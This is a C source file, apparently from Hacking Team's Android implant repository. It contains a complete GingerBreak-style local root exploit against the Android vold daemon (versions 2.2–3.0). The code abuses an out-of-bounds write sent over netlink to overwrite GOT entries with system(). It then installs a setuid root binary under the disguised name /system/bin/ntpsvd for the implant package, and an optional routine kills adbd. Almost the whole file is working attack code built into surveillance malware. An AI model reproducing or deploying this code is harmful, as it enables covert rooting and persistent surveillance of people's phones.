hackedteam/core-android-native

View on GitHub
legacy_native/jni/local2root/exploit.c

Summary

Maintainability
Test Coverage
/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write"
 * (checked for upper limit but not against negative values).
 *
 * Exploited by changing GOT entry of strcmp(),atoi() etc. to system()
 * and then triggering such call with provided pointer. :D
 * We nevermind NX protections and what they call ROP.
 *
 * (C) 2010-2011 The Android Exploid Crew
 *
 * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM
 * MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED!
 * I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
 *
 * It only works if called from adb shell since we need
 * group log. <-- Ahhahahaha come rido!!!!! Que - :D
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <math.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <jni.h>

#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <dirent.h>
#include <stdint.h>

#include <android/log.h>

#define ASHMEM_NAME_LEN         256
#define __ASHMEMIOC             0x77
#define ASHMEM_SET_NAME         _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME         _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE         _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE         _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK    _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK    _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN              _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN            _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS   _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)

//#define LOG(x)  printf(x)
//#define LOG(x) logonfile(x)
#define LOG(x) logonout(x)

static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found;
} vold;

static pid_t logcat_pid = 69;

// La bash da runnare in caso ci serva una shell
static char *suidsh = "/data/data/com.android.networking/lib/libparse.so";

// L'exploit
static char *exploit = "/data/data/com.android.networking/files/statuslog";

// Il log dove logcat scrivera' lo stacktrace del crash
static char *crashlog = "/data/data/com.android.networking/files/errorlog";

// Checkfile: file che conferma che siamo diventati root
static char *checklog = "/data/data/com.android.networking/files/rdb";

// Applicazione che viene suiddata dall'exploit, che puo' essere invocata dal
static char *suidext = "/data/data/com.android.networking/files/statusdb";

static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1";
static int scale = 1, honeycomb = 0, froyo = 0;

extern char **environ;

time_t timestamp = 0;

int logonout(char *msg) {
    if (!msg) {
        return;
    }

    if (timestamp == 0) {
        timestamp = time(NULL);
        printf("Timestamp : %d\n", timestamp);
    }

    // http://en.wikipedia.org/wiki/Time_t
    printf("%d %s", (time(NULL) - timestamp), msg);
    //printf("%s" , msg);
    return 0;
}

static int logonfile(const char *msg) {
    int fd;
    //char buf[0x1000];

    if ((fd = open("exploit.log", O_RDWR | O_CREAT, 0666)) < 0) {
        printf(msg);
        return -1;
    }

    write(fd, msg, strlen(msg));

    close(fd);

    return 0;
}

static void die(const char *msg) {
    char buf[2048];
    sprintf(buf, "[-] DIE: %s", msg);
    LOG(buf);

    exit(errno);
}

static int copy(const char *from, const char *to) {
    int fd1, fd2;
    char buf[0x1000];
    int r = 0;

    if ((fd1 = open(from, O_RDONLY)) < 0) {
        return -1;
    }

    if ((fd2 = open(to, O_RDWR | O_CREAT | O_TRUNC, 0600)) < 0) {
        close(fd1);
        return -1;
    }

    for (;;) {
        r = read(fd1, buf, sizeof(buf));

        if (r <= 0)
            break;

        if (write(fd2, buf, r) != r)
            break;
    }

    close(fd1);
    close(fd2);

    sync();
    sync();

    return r;
}

static int remount_data(const char *mntpoint) {
    FILE *f = NULL;
    int found = 0;
    char buf[1024], *dev = NULL, *fstype = NULL;

    if ((f = fopen("/proc/mounts", "r")) == NULL) {
        return -1;
    }

    memset(buf, 0, sizeof(buf));

    for (; !feof(f);) {
        if (fgets(buf, sizeof(buf), f) == NULL)
            break;

        if (strstr(buf, mntpoint)) {
            found = 1;
            break;
        }
    }

    fclose(f);

    if (!found) {
        return -1;
    }

    if ((dev = strtok(buf, " \t")) == NULL) {
        return -1;
    }

    if (strtok(NULL, " \t") == NULL) {
        return -1;
    }

    if ((fstype = strtok(NULL, " \t")) == NULL) {
        return -1;
    }

    return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}

static int remount(const char *mntpoint, int flags) {
    FILE *f = NULL;
    int found = 0;
    char buf[1024], *dev = NULL, *fstype = NULL;

    if ((f = fopen("/proc/mounts", "r")) == NULL) {
        return -1;
    }

    memset(buf, 0, sizeof(buf));

    for (; !feof(f);) {
        if (fgets(buf, sizeof(buf), f) == NULL)
            break;

        if (strstr(buf, mntpoint)) {
            found = 1;
            break;
        }
    }

    fclose(f);

    if (!found) {
        return -1;
    }

    if ((dev = strtok(buf, " \t")) == NULL) {
        return -1;
    }

    if (strtok(NULL, " \t") == NULL) {
        return -1;
    }

    if ((fstype = strtok(NULL, " \t")) == NULL) {
        return -1;
    }

    return mount(dev, mntpoint, fstype, flags | MS_REMOUNT, 0);
}

static void *find_symbol(char *sym) {
    void *r = NULL;
    void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);

    if (!dlh) {
        die("[-] dlopen");
    }

    if ((r = (void *) dlsym(dlh, sym)) == NULL) {
        die("[-] dlsym");
    }

    dlclose(dlh);

    return r;
}

static void find_got(char *file) {
    int fd, i;
    Elf32_Ehdr ehdr;
    Elf32_Phdr phdr;
    Elf32_Dyn *dyn = NULL;
    size_t dyn_size = 0;
    char buf[256];

    memset(&ehdr, 0, sizeof(ehdr));
    memset(&phdr, 0, sizeof(phdr));

    if ((fd = open(file, O_RDONLY)) < 0) {
        die("[-] open");
    }

    if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
        die("[-] read");
    }

    if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff) {
        die("[-] lseek");
    }

    for (i = 0; i < ehdr.e_phnum; ++i) {
        if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr)) {
            die("[-] read");
        }

        if (phdr.p_type == PT_DYNAMIC) {
            break;
        }
    }

    if (phdr.p_type != PT_DYNAMIC) {
        die("[-] No GOT found!");
    }

    if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset) {
        die("[-] lseek");
    }

    dyn_size = phdr.p_filesz;

    sprintf(buf, "[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size,
            dyn_size / sizeof(Elf32_Dyn));

    LOG(buf);

    if ((dyn = malloc(dyn_size)) == NULL) {
        die("[-] malloc");
    }

    if (read(fd, dyn, dyn_size) != dyn_size) {
        die("[-] read");
    }

    close(fd);

    for (i = 0; i < dyn_size / sizeof(Elf32_Dyn); ++i) {
        if (dyn[i].d_tag == DT_PLTGOT) {
            break;
        }
    }

    if (dyn[i].d_tag != DT_PLTGOT) {
        die("[-] No GOT found!");
    }

    vold.got_start = dyn[i].d_un.d_ptr;
    free(dyn);

    /* Not really the end, but who cares, 64 entries should be enough
     */
    vold.got_end = vold.got_start + scale * 64;

    sprintf(buf, "[+] Found GOT: 0x%08x\n", vold.got_start);
    LOG(buf);
}

static void find_device() {
    char buf[1024], *dev = NULL, *sp = NULL;
    FILE *f;

    if ((f = fopen("/etc/vold.fstab", "r")) == NULL) {
        if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) {
            LOG("[-] No vold.fstab found. Using default.\n");
            vold.device = strdup(default_dev);

            return;
        }
    }

    for (; !feof(f);) {
        memset(buf, 0, sizeof(buf));

        if (!fgets(buf, sizeof(buf), f)) {
            break;
        }

        if (buf[0] == '#') {
            continue;
        }

        if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/"))) {
            break;
        }
    }

    fclose(f);

    if (!dev) {
        LOG("[-] No device found. Using default.\n");
        vold.device = strdup(default_dev);
    } else {
        if ((sp = strchr(dev, ' '))) {
            *sp = 0;
            vold.device = strdup(dev);
        } else if ((sp = strchr(dev, '\n'))) {
            *sp = 0;
            vold.device = strdup(dev);
        } else {
            LOG("[-] No device found. Using default.\n");
            vold.device = strdup(default_dev);
        }
    }

    sprintf(buf, "[+] Using device %s\n", vold.device);
    LOG(buf);
}

static void find_vold() {
    char buf[2048], *ptr = NULL;
    int i = 0, fd;
    pid_t found = 0;
    FILE *f = NULL;

    vold.found = 0;

    if ((f = fopen("/proc/net/netlink", "r")) == NULL) {
        die("[-] fopen");
    }

    for (; !feof(f);) {
        memset(buf, 0, sizeof(buf));

        if (!fgets(buf, sizeof(buf), f)) {
            break;
        }

        if ((ptr = strtok(buf, "\t ")) == NULL) {
            break;
        }

        if ((ptr = strtok(NULL, "\t ")) == NULL) {
            break;
        }

        if ((ptr = strtok(NULL, "\t ")) == NULL) {
            break;
        }

        if (!*ptr) {
            break;
        }

        i = atoi(ptr);

        if (i <= 1) {
            continue;
        }

        sprintf(buf, "/proc/%d/cmdline", i);

        if ((fd = open(buf, O_RDONLY)) < 0) {
            continue;
        }

        memset(buf, 0, sizeof(buf));
        read(fd, buf, sizeof(buf) - 1);
        close(fd);

        if (strstr(buf, "/system/bin/vold")) {
            found = i;
            break;
        }
    }

    fclose(f);

    if (!found) {
        return;
    }

    vold.pid = found;
    vold.found = 1;

    /* If already called no need to look for the mappings again as
     * they wont change
     */
    if (vold.system) {
        return;
    }

    ptr = find_symbol("system");
    vold.system = (uint32_t) ptr;

    sprintf(buf, "[+] Found system: %p strcmp: %p\n", ptr,
            find_symbol("strcmp"));
    LOG(buf);

    return;
}

/* Needed to make it work on 2.2 too
 */
static int last_try() {
    char buf[0x1000];
    struct sockaddr_nl snl;
    struct iovec iov = { buf, sizeof(buf) };
    struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 };
    int sock = -1, n = 0;

    LOG("[*] Last try attempt\n");

    do {
        find_vold();
        usleep(10000);
    } while (!vold.found);

    memset(buf, 0, sizeof(buf));
    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;

    if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) {
        die("[-] socket");
    }

    snl.nl_pid = vold.pid;

    memset(buf, 0, sizeof(buf));

    // messaggi per generare int overflow
    n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
        "DEVPATH=%s%c"
        "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit, 0, 0,
            vold.system, 0, 0);

    msg.msg_iov->iov_len = n;
    n = sendmsg(sock, &msg, 0);

    if (n < 0) {
        LOG("[-] sendmsg() last_try() failed\n");
    }

    sleep(3);
    close(sock);
    return 0;
}

static int do_fault(uint32_t idx, int oneshot) {
    char buf[0x1000];
    struct sockaddr_nl snl;
    struct iovec iov = { buf, sizeof(buf) };
    struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 };
    int sock = -1, n = 0;

    do {
        find_vold();
        usleep(10000);
    } while (!vold.found);

    usleep(200000);
    memset(buf, 0, sizeof(buf));
    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;

    if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) {
        die("[-] socket");
    }

    snl.nl_pid = vold.pid;

    memset(buf, 0, sizeof(buf));
    n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
        "DEVPATH=%s%c"
        "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d", 0, 0, 0, vold.device,
            0, 0, vold.system, 0, 0, -idx);

    msg.msg_iov->iov_len = n;

    n = sendmsg(sock, &msg, 0);

    if (n < 0 || oneshot) {
        close(sock);

        sprintf(buf, "[-] sendmsg() [1] failed, error: %d\n", errno);
        LOG(buf);
        return n;
    }

    usleep(500000);

    /* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
     * inside vold main binary.
     * Arent we smart? Using old school technique from '99 to fsck NX while others
     * re-invent "ROP". Wuhahahahaha!!!
     */
    if (honeycomb) {
        n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
            "SEQNUM=%s%cDEVPATH=%s%c"
            "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, exploit, 0,
                exploit, 0, exploit, 0, exploit, 0, exploit, 0);
    } else if (froyo) {
        n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
            "DEVPATH=%s%c"
            "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit,
                0, 0, vold.system, 0, 0);
    } else {
        n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
            "SEQNUM=%s%cDEVPATH=%s%c"
            "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", exploit, exploit,
                0, exploit, 0, exploit, 0, exploit, 0, exploit, 0, 0,
                vold.system, 0, 0);
    }

    msg.msg_iov->iov_len = n;
    n = sendmsg(sock, &msg, 0);

    if (n < 0) {
        LOG("[-] sendmsg() [2] failed\n");
    }

    close(sock);

    return n;
}

// si potrebbe leggerlo da java
// http://www.androidsnippets.com/how-to-capture-application-log
static uint32_t find_index() {
    uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0;
    char buf[1024], *ptr = NULL;
    FILE *f = NULL;
    long pos = 0;

    system("/system/bin/logcat -c");
    LOG("[*] unlinking crashlog");
    int ret = unlink(crashlog);
    if (ret == -1) {
        LOG("[-] Error unlinking");
    }

    if ((logcat_pid = fork()) == 0) {
        FILE *cr = fopen(crashlog, "w");

        if (cr != NULL) {
            chmod(crashlog, 0666);
            fclose(cr);
            printf("[*] Success open and chmod\n");
        } else {
            printf("[-] Error: %d file: %s\n", errno, crashlog);
        }

        char *a[] = { "/system/bin/logcat", "-f", crashlog, NULL };

        execve(*a, a, environ);
        exit(1);
    }

    sleep(3);

    idx = scale * 0x1000 / 4;

    for (;;) {
        if (do_fault(idx, 1) < 0) {
            continue;
        }

        /* Give logcat time to write to file
         */
        sleep(3);

        if ((f = fopen(crashlog, "r")) == NULL) {
            die("[-] Unable to open crashlog file");
        }

        fseek(f, pos, SEEK_SET);

        do {
            memset(buf, 0, sizeof(buf));

            if (!fgets(buf, sizeof(buf), f)) {
                break;
            }

            if ((ptr = strstr(buf, "fault addr ")) != NULL) {
                ptr += 11;
                fault_addr = (uint32_t) strtoul(ptr, NULL, 16);

                sprintf(buf, "[*] vold: %04d idx: %d fault addr: 0x%08x\n",
                        vold.pid, -idx, fault_addr);
                LOG(buf);
            }
        } while (!feof(f));

        pos = ftell(f);
        fclose(f);

        if (fault_addr > min && fault_addr < max) {
            sprintf(buf, "[+] fault address in range (0x%08x,idx=%d)\n",
                    fault_addr, -idx);
            LOG(buf);
            break;
        }

        idx += 0x1000 / 4;
    }

    // Honeycomb needs scaling by 10
    idx = (fault_addr + 4 * idx - vold.got_start) / 4;

    if (scale > 1) {
        idx = scale * (fault_addr + 4 * idx / scale - vold.got_start) / 4;
    }

    sprintf(buf, "[+] Calculated idx: %d\n", -idx);
    LOG(buf);
    return idx;
}

static void do_root() {
    char buf[128];

    remount_data("/data");
    //chown(sh, 0, 0);
    //chmod(sh, 04711);

    sprintf(buf, "Exploit Status: EUID: %d, UID: %d\n", geteuid(), getuid());
    LOG(buf);

    FILE *fw = fopen(checklog, "w");

    // scrive in rdb che l'exploit e' avvenuto. Java usa questo file per saperlo.
    if (fw != NULL) {
        LOG("Scrivo nel file\n");
        fwrite(buf, strlen(buf), 1, fw);
        fclose(fw);
    } else {
        sprintf(buf, "Fopen failed: %d\n", errno);
        LOG(buf);
    }

    // suidshell
    if (chown(suidext, 0, 0) < 0) {
        sprintf(buf, "Chown failed: %d\n", errno);
        LOG(buf);
    }

    if (chmod(suidext, 04755) < 0) {
        sprintf(buf, "Chmod failed: %d\n", errno);
        LOG(buf);
    }

    // Spostiamo la nostra "shell" in /system/bin/ntpsvd
    remount("/system", 0); // RW
    system(
            "/system/bin/cp /data/data/com.android.networking/files/statusdb /system/bin/ntpsvd");
    //system("/system/bin/dd if=/data/data/com.android.networking/files/statusdb of=/system/bin/ntpsvd2");
    chown("/system/bin/ntpsvd", 0, 0);
    chmod("/system/bin/ntpsvd", 04755);
    remount("/system", MS_RDONLY);
    sync();

    exit(0);
}

int already_rooted() {
    char buf[256];
    struct stat sustat;
    int status;

    int fildes = open("/system/bin/su", O_RDWR);
    status = fstat(fildes, &sustat);
    close(fildes);

    mode_t mode = sustat.st_mode;
    uid_t uid = sustat.st_uid;
    gid_t gid = sustat.st_gid;
    off_t size = sustat.st_size;

    int executable = (mode & S_IXOTH) && (mode & S_IROTH);
    int suidded = (mode & S_ISUID);
    int root = uid == 0;
    int regular = S_ISREG(mode);

    sprintf(buf, "[*] executable: %d suidded: %d root: %d regular: %d\n",
            executable, suidded, root, regular);
    LOG(buf);

    return executable && suidded && root && regular;
}

void gingerBreak() {

    uint32_t i = 0, j = 0, idx = 0;
    char *ash[] = { suidsh, 0 };
    struct stat st;
    char build_id[256], version_release[256];
    char buf[256];

    LOG("\n[**] android 2.[2,3], 3.0 softbreak\n");

    //if (copy("/proc/self/exe", exploit) < 0 || copy("/system/bin/sh", sh) < 0)
    //    die("[-] Cannot copy boomsh.");

    chmod(exploit, 0711);

    find_vold(&vold);
    find_got("/system/bin/vold");
    find_device();

    sprintf(buf, "[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n",
            vold.pid, vold.got_start, vold.got_end);

    LOG(buf);

    idx = find_index();

    LOG("[+] kill logcat");
    kill(logcat_pid, SIGKILL);
    unlink(crashlog);

    for (i = idx; j++ < (vold.got_end - vold.got_start); --i) {
        if (do_fault(i, 0) < 0) {
            ++i;
            --j;
            LOG("[-] sendmsg() failed?\n");

            continue;
        }

        sprintf(buf, "[*] vold: %04d idx: %08d\n", vold.pid, -i);
        fflush(stdout);
        LOG(buf);

        // Abbiamo una shell da avviare?
        if (stat(suidsh, &st) == -1) {
            //sprintf(buf, "[-] stat() [1] failed: %d\n", errno);
            //LOG(buf);
        }

        if ((st.st_mode & 04000) == 04000) {
            LOG("[!] dance forever my only one\n");
            break;
        }
    }

    /* Last try, sometimes vold cant handle 2 receives in the order
     * we like by do_fault()
     */
    if ((st.st_mode & 04000) != 04000) {
        last_try();
        last_try();

        if (stat(suidsh, &st) == -1) {
            sprintf(buf, "[-] stat() [2] failed: %d\n", errno);
            LOG(buf);
        }

        if ((st.st_mode & 04000) == 04000) {
            LOG("\n[+] You are in luck! Last try succeeded!\n");
        } else {
            LOG("[-] Bad luck. Fixed vold?\n");
            exit(1);
        }
    }

    execve(*ash, ash, environ);
    return;
}

#ifdef EX_PSNEUTER
int psneuter() {
    char *workspace;
    char *fdStr;
    char *szStr;

    char *ppage;

    int fd;
    long sz;

    DIR *dir;
    struct dirent *dent;
    char cmdlinefile[PATH_MAX];
    char cmdline[PATH_MAX];
    chat buffer[256];

    pid_t adbdpid = 0;

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);

    workspace = getenv("ANDROID_PROPERTY_WORKSPACE");

    if (!workspace) {
        LOG("Couldn't get workspace.\n");
        return (1);
    }

    fdStr = workspace;
    if (strstr(workspace, ",")) {
        *(strstr(workspace, ",")) = 0;
    } else {
        LOG("Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
        return (1);
    }
    szStr = fdStr + strlen(fdStr) + 1;

    fd = atoi(fdStr);
    sz = atol(szStr);

    if ((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        sprintf(buffer, "mmap() failed. %s\n", strerror(errno));
        LOG(buffer);
        return (1);
    }

    if (ioctl(fd, ASHMEM_SET_PROT_MASK, 0)) {
        sprintf(buffer, "Failed to set prot mask (%s)\n", strerror(errno));
        LOG(buffer);
        return (1);
    }

    LOG("property service neutered.\n");
    LOG("killing adbd. (should restart in a second or two)\n");

    // now kill adbd.

    dir = opendir("/proc");
    if (!dir) {
        sprintf(buffer, "Failed to open /proc? kill adbd manually... somehow\n");
        LOG(buffer);
        return (1);
    }
    while ((dent = readdir(dir))) {
        if (strspn(dent->d_name, "0123456789") == strlen(dent->d_name)) {
            // pid dir
            strcpy(cmdlinefile, "/proc/");
            strcat(cmdlinefile, dent->d_name);
            strcat(cmdlinefile, "/cmdline");
            if ((fd = open(cmdlinefile, O_RDONLY)) < 0) {
                sprintf(buffer, "Failed to open cmdline for pid %s\n",
                        dent->d_name);
                LOG(buffer);
                continue;
            }
            if (read(fd, cmdline, PATH_MAX) < 0) {
                sprintf(buffer, "Failed to read cmdline for pid %s\n",
                        dent->d_name);
                LOG(buffer);
                close(fd);
                continue;
            }
            close(fd);
            //        printf("cmdline: %s\n", cmdline);
            if (!strcmp(cmdline, "/sbin/adbd")) {
                // we got it.
                adbdpid = atoi(dent->d_name);
                break;
            }
        }
    }

    if (!adbdpid) {
        sprintf(buffer, "Failed to find adbd pid :(\n");
        LOG(buffer);
        return (1);
    }

    if (kill(adbdpid, SIGTERM)) {
        sprintf(buffer, "Failed to kill adbd (%s)\n", strerror(errno));
        LOG(buffer);
        return (1);
    }
    return (0);
}
#endif

int main(int argc, char **argv, char **env) {
    char build_id[256], version_release[256];
    // se viene chiamato da vold crashato...
    if (geteuid() == 0 && getuid() == 0 /*&& strstr(argv[0], "boomsh")*/) {
        do_root();
        return;
    }

    LOG(__TIME__);
    LOG(" ");
    LOG(__DATE__);

    if (argc == 1) {
        __system_property_get("ro.build.id", build_id);
        __system_property_get("ro.build.version.release", version_release);

        if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(
                build_id, "honey") || strstr(version_release, "comb")) {
            LOG("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); //3.0
            scale = 10;
            honeycomb = 1;
        } else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(
                build_id, "fr")) {
            LOG("[+] Detected Froyo!\n"); //2.2
            froyo = 1;
        } else if (strstr(build_id, "EC") || strstr(build_id, "Ec") || strstr(
                build_id, "ec")) {
            LOG("[+] Detected Eclair!\n"); //2.0, 2.1
        } else {
            LOG("[+] Plain Gingerbread mode!\n"); //2.0
        }

        gingerBreak();
        //system("/data/data/com.android.networking/files/statusdb 1");
        return;
    }

#ifdef EX_PSNEUTER
    if(argc<=2){
        psneuter();
        system("/data/data/com.android.networking/files/statusdb 2 2");
        return;
    }
#endif

#ifdef EX_SU
    if (argc<=3 && already_rooted()) {
        LOG("[+] Detected root su!");
        system(
                "/system/bin/su -c /data/data/com.android.networking/files/statusdb 3 3 3");
        return;
    }
#endif

    else{
        LOG("[-] Something went wrong.");
    }
}